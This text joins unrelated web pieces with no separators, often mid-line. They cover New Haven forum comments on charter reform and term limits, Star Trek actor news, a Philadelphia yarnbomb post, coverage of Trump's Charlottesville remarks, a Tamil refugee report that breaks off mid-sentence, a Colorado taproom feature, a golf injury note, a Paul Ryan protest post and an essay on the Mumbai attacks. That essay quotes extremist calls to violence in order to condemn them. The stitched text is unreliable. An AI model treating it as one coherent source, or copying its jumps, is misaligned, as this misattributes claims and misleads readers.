posted by: NHPLEB on October 6, 2012 5:19pm We certainly do need term limits for all political offices. The inertia and apathy created through modern media manipulation lead to ossification of the electoral process. The result is the mess we are in. AND... the aldermen bear just as much blame for the mess we are in as the mayor does. They are sheep and the mayor has become entrenched and too powerful to oppose. I wish that, for once, the aldermen would find some courage and do the right thing to save our beloved New Haven.
posted by: Christopher Schaefer “’It would give individuals on the board a lot more power. Now, if I want to get something done I have to get 15 other people to support me,’ Elicker said.” What a pity! Elicker needs support of 15 other people to get his way. “A smaller board would be better for [governance], Hausladen said.” Only if one defines “governance” as synonymous with autocratic tyranny. “New Haven’s Board of Education… budget is also off-limits to line-by-line edits by the Board of Aldermen.” So no wonder we keep wasting money on more and more buildings. Note that smaller towns in CT have budget referendums—cumbersome and time-consuming, but definitely lets the Selectmen know how—and how not—they may spend taxpayers’ money. Perhaps certain segments of New Haven’s budget should be put up for referendum. Now THAT would be a real eye-opener! Just when you thought that surely most New Havener’s simply adored your favorite expensive project and –BAM—guess again! “Proponents of the current city argue that elections politicize education.” Like it isn’t ALREADY politicized by being nothing more than the mayor’s rubber-stamp-of-approval group? On term limits: “It’s a good idea from time to time to clean house and bring fresh ideas to the table”. AMEN! And while we clean house here, let’s put term limits on Congress—for the very same reason.
posted by: Morgan Barth on October 7, 2012 8:25pm I conducted an unscientific study by Googling the websites of the city councils of the first 10 random cities that I could think of. Most on this list are more populous than New Haven and all (big cities, medium cities and small cities) have considerably smaller councils. Our current Board of Alderman is too big. A smaller board would lead to better governance AND better representation. Fewer members means that each election actually means something and that each member can actually drive an agenda forward…this means that the person you vote for can actually make an impact as your rep. The cities on the list below may not all represent great governance—but I doubt anyone would suggest their smaller councils make them less democratic. Hartford, CT: 8
Green Bay, WI: 12
Houston, TX 16
Boston, MA 13
Philadelphia, PA: 10
Oakland, CA: 8
Santa, Fe, NM: 8
Poughkeepsie, NY: 8
Mobile, AL: 8
Cheyenne, WY: 9
posted by: Curious on October 8, 2012 12:19pm I am shocked that more people don’t have anything to say about this. To think of the articles on here that get 30, 50, or 70 comments, and then to find that this one has barely more than a dozen…that’s shameful. People need to wake up and get involved on government. Do not let this chance slip by!
posted by: robn on October 8, 2012 12:46pm MORGAN, That would make a great Wikipedia page if you could chart it up and do a per capita formula.
posted by: Bill Saunders on October 8, 2012 5:35pm Just remember, the last time Charter Reform was on the table, the only significant change was to increase term length from 2 to 4 years, so KING JOHN could run for GOVERNOR without encumbrance…
posted by: ElmJackCity on October 9, 2012 6:22am Term limits if nothing else. Mayor should only be allowed a maximum eight years in office, whether in two (2) four year terms or (4) two year terms. Anyone who says otherwise is benefiting from the current regime.
posted by: Lisa I think a term limit should be set. I agree with whomever posted 8 years - just as the commander in chief. All elected officials should have term limits. Change is scary - but it is a good thing. I also think the B of E should be elected. And yes, reduce the number of alders please, and pay them more. A smaller B of A will make it easier to get things done.
posted by: Christopher Schaefer “Anyone who says otherwise [re. need for term limits] is benefiting from the current regime.” How very true! This is most blatant at the federal level: http://governmentgonewild.org/thevideocongressdoesnotwantyoutosee Solution? Get rid of ALL incumbents and let a new group of “amateurs” take over: they can’t screw up any more than our current “careerist” elected officials have done. And by the time a “public servant” has learned how to turn a political office into a self-enrichment scheme—we get rid of them. I agree “theoretically” with the idea that fewer alders would “make it easier to get things done”. However, without the balancing effect of more than one functioning political party, fewer alders in a “one-party town” like New Haven would mean that every idea that’s introduced will be approved with little real discussion. Specifically there will be no authentic opposing viewpoint. We already see this in our “one viewpoint” approach to education “reform”. Thus everyone gets a pat on the back because we have an education program that’s a “national model”, replete with “political correctness”—and we’ll just conveniently overlook the fact that we still have a dropout rate of c. 25%; or that many who DO graduate are still functionally illiterate—regardless of what those utterly meaningless standardized tests might suggest; or that a huge percentage of graduates face a bleak future with a high school diploma that merely shows they squeaked through a program that still is essentially a state-mandated minimalistic college prep curriculum. According to the 2010 census, less than 32% of New Haven County adults have a college degree: http://quickfacts.census.gov/qfd/states/09/09009.html I bet if you break it down to New Haven-only the percentage will be less, and an even smaller percentage if you only count non-whites. So, an ”alternative viewpoint” might suggest that emphasizing a college prep curriculum in New Haven is a monumental waste of tax dollars and other resources that SHOULD be re-directed towards programs that actually will give our kids a future. But obviously New Haven’s “Party Machine” would disagree vehemently. They still haven’t finished uncorking all the celebratory bottles of champagne for the “great job we’re doing”.
posted by: Bill Saunders on October 9, 2012 1:20pm I was visiting my Alma mater in Troy, NY this weekend, and found myself talking to a guy having a beer and smoking a cigar outside of a bar. One of my fraternity brothers introduced him to me as the ex-mayor of Troy. Given my political antics in New Haven, we certainly started having a lively conversation. I finally said to him, “So, why ex-mayor—term limits?” “Yep,” he said, “...and it’s great. Without term limits I wold never be able to sit out here, have a cigar and beer, and enjoy a regular conversation”
posted by: Anders on October 9, 2012 4:51pm The most important issues are to revise the charter to allow updating every 4 or 5 years, not 10. We live in rapidly changing times, and this also gives a get out if unintended consequences occur. Voters must be allowed to vote up or down on each change to the charter too.
posted by: HhE on October 11, 2012 6:55pm More disconnect from Christopher Schaefer. What Elicker means is to advance a good idea, he has to sell the idea 15 other Alders. A smaller board of say ten Alders would mean that he would need to have only five such discussions. The size of the BoA works against positive change. What I find particularly surprising about Christopher Schaefer’s objection is that Justin Elicker is committed to sound fiscal policy and transparency in government. The inflexibility of the overly large BoA serves primary to empower the already overly powerful Mayor’s Office. So equating Aldermen Hausladen call for a smaller, nimbler BoA with “governance” as synonymous with autocratic tyranny is specious.
The question of the size of the BoA comes down to a choice of priorities. Do we stay with the current, overly large BoA, where Alders are known and available to their constituents? Do we choose to have a smaller, nimbler BoA, one that hopefully would be more informed and of higher caliber?
At a minimum, some members of the Board of ed ought to be elected.
I disagree with the idea that rapidly changing times call for halving the time between charter revisions. If anything, rapid change calls for more time for reflection.By Captain Pyke | December 12, 2010 - 10:20 pm
First off, if you're reading this right after it hits the web and you live in the Mountain or Pacific time zones, you still have time to catch it. Tonight at 9pm, wonder boy and nerd impresario Wil Wheaton will be returning to TNT's hit show "Leverage". So, run, set your DVR and then come back and read the rest of the article. We set? Good. Wil's not the only TNG alumni to be returning to the small screen. Number One, or Jonathan Frakes as some folks call him, will be guest starring on "NCIS: Los Angeles" this Tuesday (December 14th) at 9/8central. As many of you know, Jonathan Frakes has been behind the camera for several years with only the sporadic appearance in the limelight. Keep an eye out for him as Navy Commander Dr. Stanfill. Unfortunately there's no news on how large the role will be or if Frakes will see much screen time, but if you miss the airing, you can always catch it streaming on CBS.com.
Speaking of the small screen, well, an even smaller screen, 'Gunfight at the O.K. Corral" starring Kirk Douglas, Burt Lancaster, Dennis Hopper, and DeForest Kelley (as Morgan Earp) is now available for purchase on Apple's iTunes store. Here's your chance to catch De Kelley in his pre-Trek haunts; Westerns. He was a natural gun slinger...
In other news, LeVar Burton will be attending the "Hollywood on the Shore" gala in March to help benefit the University of Maryland Eastern Shore and it's annual fundraiser for student scholarships. Also in attendance; Pam Grier, Sharon Stone, Tyne Daily, & David Allen Grier. Tickets for this year's star-studded event are on sale. For $150, an Oscar ticket gets a supporter a seat at the March 5 gala for a dinner-dance in the Student Services Center on the UMES campus. The affair promises guests the "red-carpet treatment" that includes hors d'oeuvres and a gourmet meal with celebrities, live entertainment, and live and silent auctions. A $500 VIP ticket adds a March 4 celebrity reception in Ocean City at the Courtyard Marriott along with an up-close-and-personal reception with Hollywood guests before the gala. You can get ticket information here from the UMES.edu website. (source delmarvanow.com)Ishknits Yarnbombs Frank Rizzo
Ishknits does it again!!
Philly’s preeminent bomber of yarn knitted a bra and panties on the statue of controversial – to say the least – Mayor of Philadelphia, Frank Rizzo, at 15th and JFK yesterday. (But before you go running off to Instagram it, you should keep reading below.)
This has to be the best use of a yarnbomb ever. Seriously, EVER… And if you’re not totally sure why Frank Rizzo was the ideal target for this, just pursue the man’s career on Wikipedia for a bit and I’m sure you’ll start to get the picture.
LOVE this Ishknits!! Thanks again for inviting me along to photograph it. And it’s a good thing I did to, because…
As quickly as it went up, it came down… Security for the building cut the piece down after only about 3 minutes.
Not totally surprising, but a bit of a bummer nonetheless, if only because it was attracting so much attention and getting so so so many people to smile and laugh and talk to each other. Which, I’m sure, doesn’t happen too often on people’s normal daily morning commutes.
But what are you going to do, that’s just the nature of street art.
The best part was when the security people were tearing it down, this older man dressed in business casual asked me if I saw who did it and then added, “Well, I don’t think Frank would’ve liked that!” as he shook his head… Kind of the point, I imagine.
If this is you’re first time hearing of Ishknits, go ahead and check out some of her other BRILLIANT yarnbombs in Philly: on the Market-Frankford El, on the Rocky statue at the Philadelphia Museum of Art, inside of City Hall, on Front Street in Kensington, and on the Philadelphia Museum of Art’s Perelman building!!“You also had some very fine people on both sides,” he said.
The “Unite the Right” rally that sparked the violence in Charlottesville featured several leading names in the white-nationalist alt-right movement, and also attracted people displaying Nazi symbols. As they walked down the street, the white-nationalist protesters chanted “blood and soil,” the English translation of a Nazi slogan. One of the men seen marching with the fascist group American Vanguard, James A. Fields, is charged with deliberately ramming a car into a crowd of counter-protesters, killing 32-year-old counter-protester Heather Heyer.
Trump on Tuesday made an explicit comparison between Confederate generals and Founding Fathers such as George Washington and Thomas Jefferson. “Many of those people were there to protest the taking down of the statue of Robert E. Lee,” Trump said. “This week, it is Robert E. Lee. And I notice that Stonewall Jackson is coming down. I wonder, is it George Washington next? And is it Thomas Jefferson the week after? You know, you have to ask yourself, where does it stop?”
The substance of Trump’s unscripted remarks hewed more closely to his initial reaction to Charlottesville on Saturday, when he blamed “many sides” for what happened. On Monday, after two days of relentless criticism, Trump gave a stronger statement, saying “racism is evil” and specifically condemning white supremacists, the Ku Klux Klan, and neo-Nazis. Speaking to reporters shortly afterward, white nationalist Richard Spencer told reporters he didn’t see Trump’s remarks as a condemnation of his movement.
Tuesday’s appearance made it even clearer that those words had been forced on the president. Throughout his campaign, he was reluctant to disavow the white nationalists who have formed a vocal segment of his supporters. Asked if he had spoken to Heyer’s family in the days since her death, Trump said “we will be reaching out.”
Trump also addressed swirling rumors about the status of his chief strategist, Steve Bannon, who has come in for another round of speculation this week that his job may be in danger. Trump is reportedly angry about the recent book Devil’s Bargain, by the Bloomberg Businessweek writer Joshua Green, which portrays Bannon as the key reason for Trump’s election victory.
The president defended Bannon as having been unfairly attacked as a racist in the press, but declined to say if he still has confidence in him.
“I like Mr. Bannon, he is a friend of mine,” Trump said. “But Mr. Bannon came on very late. You know that. I went through 17 senators, governors, and I won all the primaries. Mr. Bannon came on very much later than that. I like him. He is a good man. He is not a racist, I can tell you that. He is a good person. He actually gets very unfair press in that regard. We’ll see what happens with Mr. Bannon. But he is a good person, and I think the press treats him, frankly, very unfairly.”
The remarks echo what Trump told the New York Post earlier this year during a similar moment of uncertainty about Bannon’s position. “I like Steve, but you have to remember he was not involved in my campaign until very late,” Trump told the Post in April.Desperate Tamil civilians are trying to flee to India in small boats to escape intensifying fighting between the Sri Lankan military and Tamil Tigers.
As Sri Lanka called yesterday for international help in dealing with tens of thousands fleeing fighting, the Guardian has learned that boat-loads of refugees have arrived in Tamil Nadu – and others have attempted the trip – to avoid internment in government-run camps. Aid workers say some boats have sunk and children have been washed overboard. Other fleeing the fighting have sailed along the coast to government-held areas.
Yesterday members of three families who made the perilous journey to India described their escape. In all, 13 of them slipped away in the middle of the night to avoid being spotted by the Liberation Tigers of Tamil Eelam rebels, who were reportedly shooting those fleeing.
They climbed into a boat belonging to Sivachandran Sivasnanam, a fisherman from Jaffna, who had persuaded the rebels to let him to take it out fishing.
"Day by day the shelling was getting worse. We were living in a bunker we had dug in the sand. There was shelling coming from the army area and the LTTE was shelling from inside the zone and sometimes they would come to take the boys as recruits," said Sinnathamby Ampumani, 48, a teacher.He spoke to the fisherman and decided to try to make it to India. It was 3.30am when Ampumani reached the shore with his family.
"We didn't take anything with us except for a few jewels and some money because if we had been seen other people would have informed on us," he said.
As quietly as they could, they pushed off. "We kept close to the shore for as long as we could and then headed into the open sea and turned left."
Eventually they spotted an Indian fishing boat, which gave them food and water and pointed them in the direction of the sub continent. Three hours later, they met a trawler. By this time, they had been travelling for most of the day and were almost out of fuel, Ampumani said.
"The trawler said it would tow us for a few hours and finally we saw the beach. We were so happy that we were safe."
Siva Kumar, 26, the brother of the boat's owner, said they had been afraid of running into Sri Lankan naval vessels, but in the end they saw none.
"They were staying about 3km [1.8 miles] off the shore because I think they were afraid of the Tigers," he said.
His brother, he said, had never been to India. But he had been confident of finding his way in the dark, even without a compass. "We knew which side was India and which was China," he said. Eleven of the group have been given identity cards and refugee status, but two remain under lock and key, including a young woman whose hands had been blown off in an explosion. According to local staff, the police suspect the pair of being LTTE members.
India is separated from Sri Lanka by the Palk Strait, which is only 28 miles across at its narrowest point, and others have clearly had the same idea as Ampumani's group. Another boat arrived earlier this week. Others have sailed across from Mannar and Jaffna, areas previously held by the LTTE but now in government hands. The refugees have paid boatmen to make the crossing: one apparently handed over 20,000 Sri Lankan rupees (about £120).
According to aid workers, there are 117 camps in |
as of this moment, my pageview went from 2000... to 24,000 O__o... and while i usually get 4 - 5 fav per work.. i got 4,321 ( lol ) favorites on this. thanks for the praise and encouraging comments everyone, i'll try to answer the questions posted.The proliferation of taprooms in Colorado, with dozens opening each year, has sent Ginger Alferos and her beer-drinking pal Jenny Herman on an increasingly challenging mission.
“Our goal is to try every brewery,” said Alferos, 40, sitting with Herman at a picnic table on a recent warm evening outside downtown Denver’s 2-year-old River North Brewery. “So we actually got a map of all the breweries in Colorado, and we go camping a lot. We try to hit every single one.”
While most brewery taprooms are greeted with welcoming arms and thirsty customers, owners of a handful have clashed with their neighbors over parking, food trucks and zoning issues.
Industry leaders say Colorado’s regulatory climate, while not unique among some states, gets much of the credit for a taproom explosion that began nearly a decade ago. There are now 80 to 100 small breweries with taprooms on site — industry leaders don’t know the exact number — where craft connoisseurs mix it up with their favorite brewmasters.
Colorado’s licensing laws allow new breweries to open on-site tasting areas that operate much like bars, but without much local red tape.
Unlike brew pubs and bars, taprooms may serve only their own brews, with no other alcohol, and they can’t open kitchens.
That dynamic has opened opportunities for a growing army of food trucks — a perfect symbiotic match between startup-heavy industries.
With so many options, Alferos and Herman, 27, are picky about return visits. They judge atmosphere as much as beer quality. And Herman talks about the importance of developing “a relationship with the brewer” at her favorite places.
But not everyone relishes the rapid growth in taprooms.
A complicating factor, some local officials say, is that breweries seeking to open a taproom don’t have to go through the local liquor license review process, which allows for public input. They need only state-issued manufacturing and wholesale licenses.
In Golden, neighbors of Mountain Toad Brewing recently appealed to the city to address the parking and noise issues that resulted after the brewery opened in May. So far, the city has tried putting up “neighborhood parking only” signs. And Mountain Toad owners are asking patrons to park in nearby business lots and to respect the neighbors.
William and Janis Keske, who have owned two rental cottages and a home west of the brewery for 13 years, aren’t optimistic.
“Our bedroom window looks down into their patio — that’s how close we are,” William Keske said. “We get the food odors and the noise any time starting at noon until (late at night).”
In northwest Denver, Hogshead Brewery has clashed with some neighbors over its outdoor patio, food trucks and other issues. It opened in 2012 in a renovated old service station on West 29th Avenue, in a mostly residential neighborhood.
While zoning rules prohibit food trucks in Hogshead’s parking lot most of the time, it has used a 12-day special-event city permit that’s available every 90 days.
“We are trying to be good neighbors and be a part of this community and be good to this community,” said tasting-room manager Rick Harvell. “We created jobs here and built a strong community following. And 99 percent of the community loves us.”
Regulations catching up
As with any fast-growing industry, regulations have been catching up.
Even Denver, a taproom mecca, has had to adapt its zoning rules, including new fixes recently, to accommodate breweries that historically were seen as strictly industrial operations. Some limits restrict operating hours to end at 10 p.m. weekdays and 11 p.m. weekends for taprooms near residential areas.
Elsewhere, Lone Tree and Lafayette are among cities and towns that have adapted their zoning rules to attract brewery taprooms while also setting ground rules.
But some local officials still express concern about the loose state licensing rules for taprooms.
“It’s not so much that municipalities are saying that we don’t want them here in the first place. People want them there,” said Kevin Bommer, deputy director of the Colorado Municipal League, which has heard from several cities and towns on the topic. “(But) with any other state or local license, you have dealt with (noise and traffic) issues upfront, or the local municipality has a chance to rectify those issues.”
Colorado Brewers Guild spokesman Steve Kurowski and other industry leaders say problems are rare,because taprooms tend to close earlier than bars and operate as neighborhood establishments.
“Here’s what I think should happen,” said Kevin DeLange, co-owner of Aurora’s Dry Dock Brewing Co. “Each local municipality can’t regulate from a liquor standpoint. The way they have control is zoning. … You are a manufacturer, and they have control over where they allow manufacturing.”
Dry Dock, seen as a taproom pioneer since its 2005 opening in an Aurora strip mall off East Hampden Avenue, weathered zoning issues, too. But DeLange says he worked with officials to modernize that city’s rules.
“It’s happening too quick”
State licensing data shows Colorado has 241 active brewing licensees, but not all are operating yet.
Although the state and the Colorado Brewers Guild don’t keep count of breweries with taprooms, Kurowski says the guild knows of 103 manufacturing breweries, most of which now have taprooms on site. An additional 111 licensees operate brew pubs.
“It’s happening too quick (to track),” he said, with more than 40 breweries opening last year alone and 70 now in planning stages. “We don’t even know when every brewery is opening up.”
On the weeknight when Alferos and Herman visited, River North was packed. Outside, on dead-end 24th Street, Chuey FU’s food truck (“Latin-Asian Grub”) served up food, with owner Joe Knoblich running orders inside.
That’s the way it goes at many taprooms.
While some provide patrons with take-out menus from nearby restaurants, the typical source of grub for beer-drinkers’ stomachs has been an increasingly creative parade of food trucks that dish up barbecue, soul food, Tex-Mex or fusion concoctions right outside.
Some trucks even rotate among a circuit of breweries, with each business boosting the other.
“You create a loyal following that’s going to come and see you,” said Knoblich as he closed his truck. He first fired it up in January.
“They’re going to come in and get a beer and have some food,” he said. “It’s a give-and-take.”
Observers say plenty more taprooms are on the way.
Kurowski sees plenty of room for industry growth, because no breweries have opened on the Eastern Plains.
But DeLange sees another cycle in the offing: a surge in brew pubs, with new owners seeking to differentiate themselves from all the taprooms.
Sitting outside River North, though, Alferos predicted a sink-or-swim climate as the market becomes saturated. She said some places still felt gimmicky.
“The real people and the real deal are going to rise to the surface,” she said, “and everybody else is going to fall off.”
Jon Murray: 303-954-1405, jmurray@denverpost.com or twitter.com/denverJonMurray
By the numbers
241: Licensed craft breweries in Colorado (not all active).
111: Active brew pubs.
103: Active manufacturing breweries, most of them with taprooms.
2,768: Craft breweries in the United States in 2013.
413: Brewery openings in the United States last year. Another 44 breweries closed.
7.8 percent: Craft beer’s share of the beer market last year, by total barrels sold, up from 5.7 percent in 2011.
4th: Colorado’s rank among states for most brewery openings last year (behind California, Washington and Oregon) and breweries per capita (behind Oregon, Vermont and Montana).
Sources: Colorado Brewers Guild, the Brewers Association and Colorado Liquor and Tobacco Enforcement Division.Justin Rose damaged his back and needed rest earlier in the season
Olympic champion Justin Rose will miss the rest of the 2015-16 season to fully recover from a back injury.
Rose, 36, has played in 21 events since the PGA Tour season began in October, including Europe's Ryder Cup defeat.
The world number 11 was in discomfort because of a disc herniation at The Players Championship in May.
"I have decided to take the next eight weeks off for rest and recovery. At this point in my career, it's important to invest in my body," he said.
"This time off is crucial for me to return to peak performance."
The Englishman's Olympic win arrived after a number of players withdrew from the Games, citing concerns over the Zika virus and congestion in their season schedule.
The gold represented the only win of his season and he will now miss next week's British Masters and the European Tour's Race to Dubai finale in November.
Rose is one of four players to take turns in hosting the British Masters each year, along with Ian Poulter, Lee Westwood and 2016 host Luke Donald.2 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
To say that the American people have an issue with Republican Speaker Paul Ryan after he ushered through a healthcare bill to take healthcare away from millions of Americans would be an understatement.
As Paul Ryan was leaving Success Academy charter school in Harlem Tuesday afternoon, he got loudly and angrily booed and people chanted, “Healthcare for all not just Paul!”
There were also “F*ck you!” chants, and there were a lot of them.
Watch here via independent video journalist Sandi Bachom, who noted, “got the shot, video coming, they are booing him mercilessly.” And in a later tweet to me, she noted that Ryan came out when everybody was leaving, “I waited two hours for this puppy, he tried to fake us out, came when everybody was leaving.”
'Healthcare For All Not Just Paul' Protesters Yell “F**k You Paul Ryan” as Speaker Ryan Leaves Success Academy NYC https://t.co/LQObxQI2DD — Sandi Bachom (@sandibachom) May 9, 2017
Protesters met Ryan on his way in with chants of “Shame!” They carried signs reading, among other things, “Healthcare is a human right!”
House Republicans kept Obamacare for House Republicans in their bill, while giving Trumpcare to the rest of us, which is why protesters were screaming “Healthcare for all, not just Paul!” Republicans said they would be passing yet another bill to change that, but for some reason left it out of the bill they passed for our healthcare.
Paul Ryan is a loathed man in America.
Image: Screen cap of Sandi Bachom’s video
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:We've forfeited the rights to our own tragedies. As the carnage in Mumbai raged on, day after horrible day, our 24-hour news channels informed us that we were watching "India's 9/11". Like actors in a Bollywood rip-off of an old Hollywood film, we're expected to play our parts and say our lines, even though we know it's all been said and done before.
As tension in the region builds, US Senator John McCain has warned Pakistan that if it didn't act fast to arrest the "Bad Guys" he had personal information that India would launch air strikes on "terrorist camps" in Pakistan and that Washington could do nothing because Mumbai was India's 9/11.
But November isn't September, 2008 isn't 2001, Pakistan isn't Afghanistan and India isn't America. So perhaps we should reclaim our tragedy and pick through the debris with our own brains and our own broken hearts so that we can arrive at our own conclusions.
It's odd how in the last week of November thousands of people in Kashmir supervised by thousands of Indian troops lined up to cast their vote, while the richest quarters of India's richest city ended up looking like war-torn Kupwara – one of Kashmir's most ravaged districts.
The Mumbai attacks are only the most recent of a spate of terrorist attacks on Indian towns and cities this year. Ahmedabad, Bangalore, Delhi, Guwahati, Jaipur and Malegaon have all seen serial bomb blasts in which hundreds of ordinary people have been killed and wounded. If the police are right about the people they have arrested as suspects, both Hindu and Muslim, all Indian nationals, it obviously indicates that something's going very badly wrong in this country.
If you were watching television you may not have heard that ordinary people too died in Mumbai. They were mowed down in a busy railway station and a public hospital. The terrorists did not distinguish between poor and rich. They killed both with equal cold-bloodedness. The Indian media, however, was transfixed by the rising tide of horror that breached the glittering barricades of India Shining and spread its stench in the marbled lobbies and crystal ballrooms of two incredibly luxurious hotels and a small Jewish centre.
We're told one of these hotels is an icon of the city of Mumbai. That's absolutely true. It's an icon of the easy, obscene injustice that ordinary Indians endure every day. On a day when the newspapers were full of moving obituaries by beautiful people about the hotel rooms they had stayed in, the gourmet restaurants they loved (ironically one was called Kandahar), and the staff who served them, a small box on the top left-hand corner in the inner pages of a national newspaper (sponsored by a pizza company I think) said "Hungry, kya?" (Hungry eh?). It then, with the best of intentions I'm sure, informed its readers that on the international hunger index, India ranked below Sudan and Somalia. But of course this isn't that war. That one's still being fought in the Dalit bastis of our villages, on the banks of the Narmada and the Koel Karo rivers; in the rubber estate in Chengara; in the villages of Nandigram, Singur, Chattisgarh, Jharkhand, Orissa, Lalgarh in West Bengal and the slums and shantytowns of our gigantic cities.
That war isn't on TV. Yet. So maybe, like everyone else, we should deal with the one that is.
There is a fierce, unforgiving fault-line that runs through the contemporary discourse on terrorism. On one side (let's call it Side A) are those who see terrorism, especially "Islamist" terrorism, as a hateful, insane scourge that spins on its own axis, in its own orbit and has nothing to do with the world around it, nothing to do with history, geography or economics. Therefore, Side A says, to try and place it in a political context, or even try to understand it, amounts to justifying it and is a crime in itself.
Side B believes that though nothing can ever excuse or justify terrorism, it exists in a particular time, place and political context, and to refuse to see that will only aggravate the problem and put more and more people in harm's way. Which is a crime in itself.
The sayings of Hafiz Saeed, who founded the Lashkar-e-Taiba (Army of the Pure) in 1990 and who belongs to the hardline Salafi tradition of Islam, certainly bolsters the case of Side A. Hafiz Saeed approves of suicide bombing, hates Jews, Shias and Democracy and believes that jihad should be waged until Islam, his Islam, rules the world. Among the things he said are: "There cannot be any peace while India remains intact. Cut them, cut them so much that they kneel before you and ask for mercy."
And: "India has shown us this path. We would like to give India a tit-for-tat response and reciprocate in the same way by killing the Hindus, just like it is killing the Muslims in Kashmir."
But where would Side A accommodate the sayings of Babu Bajrangi of Ahmedabad, India, who sees himself as a democrat, not a terrorist? He was one of the major lynchpins of the 2002 Gujarat genocide and has said (on camera): "We didn't spare a single Muslim shop, we set everything on fire … we hacked, burned, set on fire … we believe in setting them on fire because these bastards don't want to be cremated, they're afraid of it … I have just one last wish … let me be sentenced to death … I don't care if I'm hanged... just give me two days before my hanging and I will go and have a field day in Juhapura where seven or eight lakhs [seven or eight hundred thousand] of these people stay... I will finish them off … let a few more of them die... at least 25,000 to 50,000 should die."
And where, in Side A's scheme of things, would we place the Rashtriya Swayamsevak Sangh bible, We, or, Our Nationhood Defined by MS Golwalkar, who became head of the RSS in 1944. It says: "Ever since that evil day, when Moslems first landed in Hindustan, right up to the present moment, the Hindu Nation has been gallantly fighting on to take on these despoilers. The Race Spirit has been awakening."
Or: "To keep up the purity of its race and culture, Germany shocked the world by her purging the country of the Semitic races – the Jews. Race pride at its highest has been manifested here... a good lesson for us in Hindustan to learn and profit by."
(Of course Muslims are not the only people in the gun sights of the Hindu right. Dalits have been consistently targeted. Recently in Kandhamal in Orissa, Christians were the target of two and a half months of violence which left more than 40 dead. Forty thousand people have been driven from their homes, half of who now live in refugee camps.)
All these years Hafiz Saeed has lived the life of a respectable man in Lahore as the head of the Jamaat-ud Daawa, which many believe is a front organization for the Lashkar-e-Taiba. He continues to recruit young boys for his own bigoted jehad with his twisted, fiery sermons. On December 11 the UN imposed sanctions on the Jammat-ud-Daawa. The Pakistani government succumbed to international pressure and put Hafiz Saeed under house arrest. Babu Bajrangi, however, is out on bail and lives the life of a respectable man in Gujarat. A couple of years after the genocide he left the VHP to join the Shiv Sena. Narendra Modi, Bajrangi's former mentor, is still the chief minister of Gujarat. So the man who presided over the Gujarat genocide was re-elected twice, and is deeply respected by India's biggest corporate houses, Reliance and Tata.
Suhel Seth, a TV impresario and corporate spokesperson, recently said: "Modi is God." The policemen who supervised and sometimes even assisted the rampaging Hindu mobs in Gujarat have been rewarded and promoted. The RSS has 45,000 branches, its own range of charities and 7 million volunteers preaching its doctrine of hate across India. They include Narendra Modi, but also former prime minister AB Vajpayee, current leader of the opposition LK Advani, and a host of other senior politicians, bureaucrats and police and intelligence officers.
If that's not enough to complicate our picture of secular democracy, we should place on record that there are plenty of Muslim organisations within India preaching their own narrow bigotry.
So, on balance, if I had to choose between Side A and Side B, I'd pick Side B. We need context. Always.
In this nuclear subcontinent that context is partition. The Radcliffe Line, which separated India and Pakistan and tore through states, districts, villages, fields, communities, water systems, homes and families, was drawn virtually overnight. It was Britain's final, parting kick to us. Partition triggered the massacre of more than a million people and the largest migration of a human population in contemporary history. Eight million people, Hindus fleeing the new Pakistan, Muslims fleeing the new kind of India left their homes with nothing but the clothes on their backs.
Each of those people carries and passes down a story of unimaginable pain, hate, horror but yearning too. That wound, those torn but still unsevered muscles, that blood and those splintered bones still lock us together in a close embrace of hatred, terrifying familiarity but also love. It has left Kashmir trapped in a nightmare from which it can't seem to emerge, a nightmare that has claimed more than 60,000 lives. Pakistan, the Land of the Pure, became an Islamic Republic, and then, very quickly a corrupt, violent military state, openly intolerant of other faiths. India on the other hand declared herself an inclusive, secular democracy. It was a magnificent undertaking, but Babu Bajrangi's predecessors had been hard at work since the 1920s, dripping poison into India's bloodstream, undermining that idea of India even before it was born.
By 1990 they were ready to make a bid for power. In 1992 Hindu mobs exhorted by LK Advani stormed the Babri Masjid and demolished it. By 1998 the BJP was in power at the centre. The US war on terror put the wind in their sails. It allowed them to do exactly as they pleased, even to commit genocide and then present their fascism as a legitimate form of chaotic democracy. This happened at a time when India had opened its huge market to international finance and it was in the interests of international corporations and the media houses they owned to project it as a country that could do no wrong. That gave Hindu nationalists all the impetus and the impunity they needed.
This, then, is the larger historical context of terrorism in the subcontinent and of the Mumbai attacks. It shouldn't surprise us that Hafiz Saeed of the Lashkar-e-Taiba is from Shimla (India) and LK Advani of the Rashtriya Swayam Sevak Sangh is from Sindh (Pakistan).
In much the same way as it did after the 2001 parliament attack, the 2002 burning of the Sabarmati Express and the 2007 bombing of the Samjhauta Express, the government of India announced that it has "incontrovertible" evidence that the Lashkar-e-Taiba backed by Pakistan's ISI was behind the Mumbai strikes. The Lashkar has denied involvement, but remains the prime accused. According to the police and intelligence agencies the Lashkar operates in India through an organisation called the Indian Mujahideen. Two Indian nationals, Sheikh Mukhtar Ahmed, a Special Police Officer working for the Jammu and Kashmir police, and Tausif Rehman, a resident of Kolkata in West Bengal, have been arrested in connection with the Mumbai attacks.
So already the neat accusation against Pakistan is getting a little messy. Almost always, when these stories unspool, they reveal a complicated global network of foot soldiers, trainers, recruiters, middlemen and undercover intelligence and counter-intelligence operatives working not just on both sides of the India-Pakistan border, but in several countries simultaneously. In today's world, trying to pin down the provenance of a terrorist strike and isolate it within the borders of a single nation state is very much like trying to pin down the provenance of corporate money. It's almost impossible.
In circumstances like these, air strikes to "take out" terrorist camps may take out the camps, but certainly will not "take out" the terrorists. Neither will war. (Also, in our bid for the moral high ground, let's try not to forget that the Liberation Tigers of Tamil Eelam, the LTTE of neighbouring Sri Lanka, one of the world's most deadly terrorist groups, were trained by the Indian army.)
Thanks largely to the part it was forced to play as America's ally first in its war in support of the Afghan Islamists and then in its war against them, Pakistan, whose territory is reeling under these contradictions, is careening towards civil war. As recruiting agents for America's jihad against the Soviet Union, it was the job of the Pakistan army and the ISI to nurture and channel funds to Islamic fundamentalist organizations. Having wired up these Frankensteins and released them into the world, the US expected it could rein them in like pet mastiffs whenever it wanted to.
Certainly it did not expect them to come calling in heart of the Homeland on September 11. So once again, Afghanistan had to be violently remade. Now the debris of a re-ravaged Afghanistan has washed up on Pakistan's borders. Nobody, least of all the Pakistan government, denies that it is presiding over a country that is threatening to implode. The terrorist training camps, the fire-breathing mullahs and the maniacs who believe that Islam will, or should, rule the world is mostly the detritus of two Afghan wars. Their ire rains down on the Pakistan government and Pakistani civilians as much, if not more than it does on India.
